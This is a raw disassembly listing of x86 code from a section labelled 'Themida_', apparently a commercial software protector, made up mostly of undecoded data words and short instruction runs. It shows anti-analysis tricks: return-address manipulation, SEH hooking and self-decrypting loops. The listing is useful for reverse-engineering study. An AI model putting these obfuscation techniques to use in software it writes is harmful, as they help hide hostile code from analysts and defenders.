dd 61F38B54h, 6FBB6650h, 24048939h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 5BC35545h, 0ED597BC4h, 0FF903A1Ch
dd 0B0F1595h, 0CE906h, 0A6330000h, 416DBFEBh, 99EE8D86h
dd 31E98033h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 60F6108h
push 0
push esi
call sub_5821BE
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5821BE proc near ; CODE XREF: Themida_:005821B6p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5821BE endp
; ---------------------------------------------------------------------------
das
and al, 99h
fstp dword ptr [ebp-72B80BC3h]
mov bx, cx
lea eax, [ebp+60E9293h]
push ebx
mov edi, [ebp+60B1F51h]
pop ebx
push eax
mov bx, 1870h
mov [esp], eax
movsx ebx, bx
push large dword ptr fs:0
jnp loc_582202
mov bh, ch
loc_582202: ; CODE XREF: Themida_:005821FAj
mov large fs:0, esp
push 0
push eax
call sub_582214
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582214 proc near ; CODE XREF: Themida_:0058220Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_582214 endp
; ---------------------------------------------------------------------------
dd 0F7812A6Fh, 50DBDB5Eh, 66D85FFh, 6A060Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 1FC5E3C3h
dd 0AC008A85h, 6AFF6AC4h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 1A72C355h, 0E8BBEB42h
dd 11h, 0D4C11844h, 78454407h, 57F7023Fh, 0D9402530h, 0B5FF5B26h
dd 60B1B7Dh, 2719589h, 95FF060Bh, 60B2411h, 12EE9h, 2648BF00h
dd 0B00955h, 0E6D88B66h, 0E8FE8B70h, 7, 0F87003D7h, 3FD2DF2h
dd 0B18999Dh, 71E45F06h, 1A35BD8Bh, 60BF060Bh, 3C2FF8A8h
dd 0F8830F61h, 89000000h, 0B297185h, 0C8B60F06h, 0CE8h
dd 49A07F00h, 713B040Eh, 42CD23B6h, 5FFE8BD4h, 6E9h, 32A40900h
dd 0BA4E856Bh, 6, 58EF8166h, 8BC18B77h, 0B2A3D9Dh, 4E8C106h
dd 1EDB8166h, 0E2F7663Dh, 3ACB8152h, 5F12BFE7h, 9D8BC82Bh
dd 60B2131h, 0A422F381h, 0D18B65E2h, 13E9F88Bh, 0E9000000h
dd 0Ah, 0B04454AAh, 3DAE4EDAh, 0BF664587h, 858BA8FCh, 60B15E1h
dd 75FBF66h, 8B07C083h, 0B087D9Dh, 0BD8B5706h, 60B18E5h
dd 0C0835Bh, 15718D31h, 9D8B060Bh, 60B059Dh, 830FD03Bh
dd 13h, 2B39BD89h, 44E9060Bh, 89000000h, 0B04119Dh, 8BA6B306h
dd 0B1A9D8Dh, 4880F06h, 66000000h, 83DCBCBFh, 840F01E1h
dd 23h, 800Fh, 0A5830000h, 60B1A9Dh, 8A0FFEh, 89000000h
dd 0B15E195h, 0EF816606h, 0E9BC95h, 8D000000h, 0EE370B5h
dd 9870F06h, 60000000h, 2F558D29h, 61F8060Bh, 820F006Ah
dd 6, 0E35BD89h, 95FF060Bh, 60B32DDh, 19820Fh, 14E90000h
dd 63000000h, 1247837Dh, 0C2FA0048h, 2319B0D9h, 41BEA01Eh
dd 0B9328EF1h, 86Ch, 0FCE183F8h, 55006AFCh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 63CE4870h
dd 0AE8h, 0DCEB8D00h, 5BE4A752h, 0FBB256Dh, 388h, 0FEBF0F00h
dd 13E95Fh, 533B0000h, 0EAC41C57h, 86CB5AF4h, 0D2BC7067h
dd 0E794D2B5h, 6AC02BEFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0CCB6C355h, 66DF8B51h
dd 9F0FDB81h, 0BAh, 158D8900h, 0AD060B14h, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 798C351h, 3CB7F48h
dd 0B07419Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 0E88FAD52h, 0Dh, 4565D40Fh, 93EE47BFh
dd 74AEC7B1h, 15BD892Fh, 5F060B2Eh, 880Dh, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 89CB4D0Dh, 0B1A1985h, 4D958B06h, 89060B17h, 0B1935B5h
dd 198D8B06h, 6A060B01h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 7A54C352h, 50FA8BFFh
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 7AC843C8h, 8B94280Bh, 0E3BF66FAh, 0BDBD838Dh, 60B29h
dd 91840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 669B68C3h, 511C24BBh, 17D59D8Bh
dd 0B85F060Bh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5825EB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5825EB proc near ; CODE XREF: Themida_:005825E3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5825EB endp
; ---------------------------------------------------------------------------
db 0B7h
dd 42B903EEh, 0ABBC888h, 8D716E20h, 0B4DD78Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0E9870E0Ah, 0Fh, 9C3717FCh, 91358DD7h, 481403Dh, 0FF853D74h
dd 83DD8AE1h, 0B1009BDh, 840F0006h, 489h, 9BD83F9h, 1060B10h
dd 496840Fh, 0F600000h, 281h, 315A5100h, 0B13D9BDh, 9D0B6106h
dd 60B28A5h, 1009BD83h, 0F03060Bh, 43D86h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 6A6033h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 6EA8E3C3h, 850F5258h, 6, 0B89B501h, 8C66060Bh
dd 0DD9D89D9h, 80060B04h, 0BF0F04E1h, 0FC90AFEh, 12484h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 10E9D0h, 0B8C70000h, 0C6F6C5E8h, 2BBB374Ch
dd 7CBB0A47h, 858B5667h, 60B317Dh, 0FE8h, 0BD14FA00h, 1B5F73B7h
dd 0A7FA7FB1h, 0A0FCEDCh, 335FD88Bh, 0B06ED85h, 8B669006h
dd 319050FAh, 0B28299Dh, 0F006A06h, 685h, 318D8900h, 0E8060B0Bh
dd 4, 1F03FFh, 0AE9h, 2DBFAB00h, 59481168h, 50A136ECh
dd 0F2F7F3BFh, 24448B17h, 50008B04h, 50310F52h, 0F88B6652h
dd 5250310Fh, 585A310Fh, 585A585Ah, 4244489h, 0CBB1BF66h
dd 71D3BB58h, 14E92654h, 2D000000h, 7580E0E8h, 6365829Fh
dd 9F69EA3h, 5BAE0413h, 0FF8B35FFh, 0B03D195h, 0AE906h
dd 91D00000h, 0CE905D72h, 41D2F0BBh, 0A81D8589h, 0BE9060Eh
dd 22000000h, 8F1F35Bh, 58283F1Eh, 3DE9927Ch, 6A000002h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 1952C351h, 66002C1Dh, 8B66DF8Bh, 15858BD9h
dd 0E9060EA8h, 0Bh, 6807787Dh, 221680ABh, 0C779589Bh, 1800h
dd 8BDD8A00h, 0EA819B5h, 5FDFBF06h, 858B0809h, 60B06E1h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0EAC35747h
dd 1161724Dh, 0CBE9E987h, 8E96Fh, 0B480000h, 55A4DAE6h
dd 689551Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 68C35646h, 858BF010h, 60B317Dh, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 16h, 30C35343h, 810F5064h
dd 6, 0B599D23h, 6660060Bh, 0F5A81B9h, 68Eh, 999D8900h
dd 61060B29h, 8B044689h, 0B0E6D9Dh, 0DF816606h, 0F96C5CEh
dd 0E8Ch, 50525000h, 5A310F52h, 60310F58h, 50585A61h, 66F78B60h
dd 619DBFBAh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 83BF21D3h, 0FF0A6609h, 0EA815B5h
dd 91BD8906h, 31060B05h, 0B1A1185h, 4E806h, 3FF0000h, 0BF66001Fh
dd 0E9506CC6h, 7, 25280296h, 8BE46D48h, 50042444h, 0C18A6052h
dd 8F0Fh, 0F610000h, 0F525031h, 0D678BB31h, 585A547Ah
dd 8B585Ah, 4244489h, 0FBC3BB66h, 53006A58h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 9149ED74h
dd 85895369h, 60B2225h, 0EE85Bh, 8EB0000h, 0F60D09C8h
dd 0AB7C5FBEh, 88E40604h, 0BE960h, 20150000h, 8FFB44FDh
dd 0B6536CAEh, 6161608Dh, 1D858D5Bh, 6A060EA8h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 1DB8C356h, 8141B375h, 98B981DFh, 5E85058h, 8000000h
dd 6F27BAA7h, 6880Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
pop edi
mov [esp], eax
add [ebp+60B2EF5h], edi
mov ebx, [ebp+60B1A85h]
call dword ptr [ebp+60B03D1h]
mov [ebp+60B007Dh], ecx
popa
movsx ebx, si
mov dword ptr [ebp+60B1009h], 3
push 0
push ecx
call sub_582A35
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582A35 proc near ; CODE XREF: Themida_:00582A2Dp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_582A35 endp
; ---------------------------------------------------------------------------
db 2 dup(71h), 6Ch
; ---------------------------------------------------------------------------
cmp al, 5Fh
push 0FFFFFFCEh
mov [ebp+60B087Dh], eax
sub [ebp+60B19F5h], ebx
cmp dword ptr [ebp+60EA81Dh], 0
jz loc_582ABE
push 0
push eax
call sub_582A70
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582A70 proc near ; CODE XREF: Themida_:00582A68p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_582A70 endp
; ---------------------------------------------------------------------------
add bl, [edi+45FD5349h]
mov bh, cl
jmp loc_582AD9
; ---------------------------------------------------------------------------
push 0
push edx
call sub_582A98
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582A98 proc near ; CODE XREF: Themida_:00582A90p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_582A98 endp
; ---------------------------------------------------------------------------
dd 0F5D10209h, 0D7ECD87h, 820F1B25h, 6, 0B9BB6652h
; ---------------------------------------------------------------------------
cmpsd
pop ebx
loc_582ABE: ; CODE XREF: Themida_:00582A5Fj
; Themida_:00582AD5j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_582ABE
jmp short loc_582B0F
; ---------------------------------------------------------------------------
loc_582AD9: ; CODE XREF: Themida_:00582A88j
; Themida_:00582AF0j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_582AD9
jmp short loc_582B0F
; ---------------------------------------------------------------------------
loc_582AF4: ; CODE XREF: Themida_:00582B0Bj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_582AF4
jmp short $+2
loc_582B0F: ; CODE XREF: Themida_:00582AD7j
; Themida_:00582AF2j
mov eax, eax
mov [ebp+60B0915h], ebx
mov bh, 5Ah
cmp dword ptr [ebp+60B1009h], 3
jnz loc_582F97
push 0
push edi
call sub_582B31
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582B31 proc near ; CODE XREF: Themida_:00582B29p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_582B31 endp
; ---------------------------------------------------------------------------
db 1Eh, 0E7h, 89h
dd 1F4286ECh, 830CDB80h, 0EA81DBDh, 840F0006h, 43Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0FFC35242h, 0E6BDBDEAh
dd 2E8D9D8Bh, 0B5FF060Bh, 60EA81Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 20C35242h, 0BB66A64Ah, 95FFB723h
dd 60B083Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 44C35646h, 0D287342Fh, 11B58B5Eh, 6A060EA8h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0FB9BC351h, 0AF742E94h, 0D2296855h, 1D88B66h, 0B29B9B5h
dd 106C706h, 6A000100h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 1420C350h, 12E823h
dd 0E25C0000h, 0ADF7E0Fh, 0FCADC123h, 53A458C0h, 283C87EEh
dd 1F618501h, 8B5F060Bh, 0F88B96DFh, 0B6606050h, 0C88B666Bh
dd 0C18B6661h, 81669661h, 898A54D7h, 0B12898Dh, 1DB5FF06h
dd 0E8060EA8h, 12h, 0A268488Ah, 231EE4BCh, 0C025B075h
dd 0E4C098ABh, 0B5312DD2h, 60B0305h, 4195FF5Bh, 0E8060B06h
dd 0Dh, 30EB0133h, 0EF95BCE9h, 0E27FE905h, 84DF8060h, 11B58B5Fh
dd 6A060EA8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 5CAEC351h, 0B70FDE8Bh, 1D858BFBh
dd 0F060B12h, 581h, 3193BB00h, 86891950h, 0C4h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E7C35242h, 32359529h
dd 958B060Bh, 60B174Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0F1C35747h, 0FB5708F0h, 8CB8110h, 835AD1E0h
dd 0F98B04C2h, 6A205089h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 66C2C352h, 90DE781h
dd 0BAEE858Dh, 890F060Eh, 6, 135D8D29h, 8689060Bh, 0B8h
dd 6AFA8B66h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 21085A9Bh, 3B795266h, 1DB5FF94h
dd 89060EA8h, 0B0B1195h, 0EE906h, 0E8E10000h, 71B8B6C4h
dd 8AD1B115h, 50F936D4h, 0F1595FFh, 0B70F060Bh, 525096F8h
dd 0BE9h, 6078D000h, 0D9B63761h, 53AB890Ch, 0F88B310Fh
dd 0F50585Ah, 28Dh, 96FB8B00h, 10860Fh, 0BE90000h, 0F0000000h
dd 0B6F34A67h, 0C53CD26Dh, 0B5FFCE12h, 60EA81Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A7C35646h, 829B1C5Ch
dd 9C947189h, 0D776FABFh, 0F595FF0Fh, 89060B00h, 0B00058Dh
dd 91BD8306h, 60B21h, 2A840Fh, 6FBB0000h, 50672527h, 68B75051h
dd 34895B5Bh, 66576024h, 575BC681h, 5D958B5Ah, 61060B33h
dd 6800Fh, 0F7810000h, 2BCE559h, 0A81DB5FFh, 0AE8060Eh
dd 0FF000000h, 0EFA5B75Fh, 54988F15h, 0B58D8972h, 5B060B29h
dd 128195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 8BA211C3h, 5F45C5C1h, 1235BD8Bh
dd 0FE8060Bh, 5000000h, 0AA157076h, 454EA24h, 0C6AF0F19h
dd 9589D1FBh, 60B17CDh, 1DB5FF5Bh, 60060EA8h, 2DD9D31h
dd 0BD89060Bh, 60B0715h, 8D95FF61h, 6A060B0Bh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0E801C353h, 14h, 6C46973Eh, 0A5E94ABh, 2BC7A47Ch, 39F7C93h
dd 0E32E5D78h, 21899D8Bh, 835F060Bh, 0B17F1BDh, 840F0206h
dd 2Dh, 6890Fh, 0BD890000h, 60B1649h, 2EC5858Bh, 6660060Bh
dd 0F1C14BAh, 685h, 898D8900h, 61060B1Fh, 8B0000C6h, 0B0F719Dh
dd 0B985C706h, 60B06h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 72EC357h
dd 0B7E8BA0Eh, 8C0F3EB4h, 3
; ---------------------------------------------------------------------------
movzx edi, si
loc_582F97: ; CODE XREF: Themida_:00582B20j
jmp near ptr dword_582224+31h
; ---------------------------------------------------------------------------
pusha
mov [ebp+60B2125h], ebx
mov [ebp+60B31A5h], ecx
popa
mov eax, ecx
push 0
push eax
call sub_582FB7
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582FB7 proc near ; CODE XREF: Themida_:00582FAFp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_582FB7 endp
; ---------------------------------------------------------------------------
jo short near ptr loc_582FEE+1
mov edi, esi
push edi
jmp loc_582FD7
; ---------------------------------------------------------------------------
db 77h, 1Fh, 47h
db 0Eh, 0FAh, 0C0h
; ---------------------------------------------------------------------------
loc_582FD7: ; CODE XREF: Themida_:00582FCCj
pop edi
lea eax, [ebp+60B28A9h]
push esi
call sub_582FF4
jnb short near ptr loc_583024+5
lds edi, [edi-5B912339h]
cdq
pop ecx
loc_582FEE: ; CODE XREF: Themida_:00582FC7j
mov ds:4CBEE58Ch, eax
; ---------------------------------------------------------------------------
db 8Fh
; =============== S U B R O U T I N E =======================================
sub_582FF4 proc near ; CODE XREF: Themida_:00582FDFp
mov di, dx
pop edi
pop ebx
push eax
call near ptr loc_58300B+1
push edx
wait
test al, 0D6h
lock out 7Bh, eax
push edx
cld
pop ds
mov dl, 0B2h
loc_58300B: ; CODE XREF: sub_582FF4+6p
mov dword ptr [esi-41h], 895BE181h
sub_582FF4 endp ; sp-analysis failed
add al, 24h
push 0
push ebx
call sub_58301F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58301F proc near ; CODE XREF: Themida_:00583017p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
loc_583024: ; CODE XREF: Themida_:00582FE4j
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_58301F endp
; ---------------------------------------------------------------------------
db 0E2h
dd 3DB50144h, 8B060B2Ah, 0B15299Dh, 6A006A06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 34D6C356h, 0D36C2E7Ch, 0E8006A47h, 12h, 0B35EAF97h
dd 931E142Dh, 2D6632E1h, 57DC569h, 8D5BEE7Fh, 0F718885h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 5E4D9E88h, 0FA8C22C1h, 5D9D8BB6h, 83060B07h
dd 7CBB05C0h, 900F7FEAh, 61606060h, 0F234BF66h, 61F38B61h
dd 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 0FBD09FC3h, 60A0988Bh, 898D8960h, 0F060B21h
dd 8Bh, 0C1806100h, 6A6184h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0EDC35242h, 643D8DEFh, 69BB718Fh
dd 6A4CCC3Fh, 99DB8100h, 6061910Fh, 81663AB3h, 6112A1CAh
dd 2F2195FFh, 0CB81060Bh, 38CA0163h, 0A7B08D8Dh, 6A060Eh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 8BA9A1C3h, 0B0C0D9Dh, 6AD1FF06h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0BE63C352h
dd 892EF322h, 0B22F595h, 6E806h, 0D8510000h, 7FDE250Eh
dd 835BFB8Bh, 0B0B19BDh, 850F0106h, 84h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ch, 7CC35141h, 0D4C11844h
dd 78454407h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 899326C3h, 810F5020h, 8, 28D0Fh
dd 61600000h, 6A240489h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 4312C350h, 6688205Ah
dd 95FFDF8Bh, 60B0F15h, 8C30BF66h, 0C98E9h, 0E800h, 815D0000h
dd 0F7192EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 0F3804CCEh, 0FFB70F92h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h, 8B14D7EDh
dd 93858DDFh, 8B060E92h, 0B0415BDh, 65BB5006h, 89528DA7h
dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 617763C3h, 0ADBF661Ch, 35FF642Dh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5832CB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5832CB proc near ; CODE XREF: Themida_:005832C3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5832CB endp
; ---------------------------------------------------------------------------
db 86h
; ---------------------------------------------------------------------------
mov large fs:0, esp
inc dword ptr [ebp+60B066Dh]
add edi, [ebp+60B18A1h]
push 0FFFFFFFFh
push 0
push esi
call sub_5832FC
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5832FC proc near ; CODE XREF: Themida_:005832F4p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5832FC endp
; ---------------------------------------------------------------------------
dd 36FBEDBEh, 5E8B6h, 0F02F0000h, 50E4DAA6h, 0CF9BD8Bh
dd 5F5F060Bh, 2A41B5FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 5DAC87C3h, 1195FFF9h
dd 0E9060B24h, 105h, 0EE9h, 57B0D700h, 442F54B3h, 0F1EF81ADh
dd 0B04B9ACCh, 0DB816600h, 70E6B93Dh, 21DDB589h, 0EB81060Bh
dd 28596202h, 3CFC71E4h, 0D2830F61h, 33000000h, 0B28F5BDh
dd 0C8B60F06h, 0E45B589h, 6BA060Bh, 0F000000h, 0C18BFAB7h
dd 7E9h, 6132EA00h, 616A2851h, 6604E8C1h, 28B3E2F7h, 9D8BC82Bh
dd 60B2B41h, 0D381D18Bh, 783DF91Ch, 6E9h, 71BD8B00h, 8B060B24h
dd 0B042D85h, 2422BB06h, 0C0833A0Fh, 8E96007h, 1C000000h
dd 6096B030h, 8BFCC79Fh, 0C08361F3h, 61858900h, 3B060B2Fh
dd 19830FD0h, 89000000h, 0B05C1BDh, 4FE906h, 9E90000h
dd 0CD000000h, 0CA6D7E2Dh, 13E9819Fh, 29858D8Bh, 8589060Bh
dd 60B0CA1h, 0F01E183h, 2C84h, 0EB816600h, 83F5019Bh, 0B2985A5h
dd 880FFE06h, 0
; ---------------------------------------------------------------------------
clc
mov [ebp+60B042Dh], edx
jmp loc_583454
; ---------------------------------------------------------------------------
dd 0D25875Dh, 0EFACF9DAh
; ---------------------------------------------------------------------------
loc_583454: ; CODE XREF: Themida_:00583447j
jmp $+5
lea esi, [ebp+60EEDC0h]
jmp loc_583473
; ---------------------------------------------------------------------------
dd 70A8B3Dh, 56A0866Ah, 8F1E9869h
; ---------------------------------------------------------------------------
or ebp, [edi+6Ah]
loc_583473: ; CODE XREF: Themida_:0058345Fj
push 0
and bl, 55h
call dword ptr [ebp+60B32DDh]
jmp loc_583493
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
mov eax, 0C6F6C5E8h
dec esp
aaa
mov ebx, 0BB0A472Bh
jl short loc_5834F9
push esi
loc_583493: ; CODE XREF: Themida_:0058347Ej
or [ebp+60B276Dh], eax
mov ecx, 765h
mov ebx, [ebp+60B1639h]
and ecx, 0FFFFFFFCh
push 0
push ecx
call sub_5834B2
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5834B2 proc near ; CODE XREF: Themida_:005834AAp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5834B2 endp
; ---------------------------------------------------------------------------
sub byte ptr [ebx], 0Ah
cmpsd
lodsb
jge short near ptr loc_5834EE+1
mov edi, [ebp+60B175Dh]
cld
add di, 0F42h
sub eax, eax
mov ebx, 6B4B5D95h
sub edx, edx
push 0
push esi
call sub_5834E9
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5834E9 proc near ; CODE XREF: Themida_:005834E1p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
loc_5834EE: ; CODE XREF: Themida_:005834C7j
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5834E9 endp
; ---------------------------------------------------------------------------
loc_5834F9: ; CODE XREF: Themida_:00583490j
mov ebp, 5BCA4149h
movzx ebx, si
loc_583501: ; CODE XREF: Themida_:0058350Bj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_583501
push 0
push ecx
call sub_583518
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_583518 proc near ; CODE XREF: Themida_:00583510p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_583518 endp
; ---------------------------------------------------------------------------
cmpsd
mov dh, 0C9h
test ds:95F505Ch, esi
popf
mov cl, 8
or eax, [esi]
add [ebp+60B1829h], edx
or eax, 88h
push 0
push ebx
call sub_58354D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58354D proc near ; CODE XREF: Themida_:00583545p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_58354D endp
; ---------------------------------------------------------------------------
db 2, 9Bh, 78h
dd 0BEF38105h, 8171DF95h, 2C5FD7EFh, 4D958B50h, 66060B17h
dd 8D8BFE8Bh, 60B0119h, 1FD5BD8Bh, 8B50060Bh, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 11CFBB66h, 83FE8B66h
dd 0B29BDBDh, 840F0006h, 48h, 0D14BBB66h, 0B8h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0E620587Ch, 0FCE8C891h, 4DD78D8Dh, 8160060Bh, 0F85264DFh
dd 39953306h, 61060B2Bh, 9D89E1FFh, 60B249Dh, 1009BD83h
dd 0F00060Bh, 43A84h, 0C5852900h, 83060B12h, 0B1009BDh
dd 840F0106h, 442h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 3DC35242h, 0BD027DB0h, 2F3949C5h, 2890F93h
dd 0B3000000h, 0D88B66DEh, 1009BD83h, 0F03060Bh, 3CF86h
dd 1DBD8B00h, 60060B06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 37C35343h, 9BBF660Eh, 6810F41h, 31000000h
dd 0B28D98Dh, 0D98C6606h, 0E804E180h, 10h, 0EDE2DA4Ch
dd 0A2A05237h, 0B2E4A0C4h, 0F88D40D9h, 899D89h, 0A5F060Bh
dd 83840FC9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 6717C356h, 7D858B8Bh
dd 6A060B31h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 214C357h, 0C8DC49AEh, 9501D84Dh
dd 60B2E61h, 68D0Fh, 9D030000h, 60B06F1h, 1EB98589h, 8533060Bh
dd 60B06EDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 0E2C35747h, 0CEEE6834h, 9010C829h, 11E9507Bh, 0AC000000h
dd 42CA7E00h, 851A473Bh, 1A21F447h, 0C179785Fh, 5250905Bh
dd 6E9h, 0D32E0D00h, 0FD60DE9h, 2FBB6631h, 50585AE9h, 3DFC66BFh
dd 850F9054h, 6, 5F59529h, 0BD8B060Bh, 60B279Dh, 6A006Ah
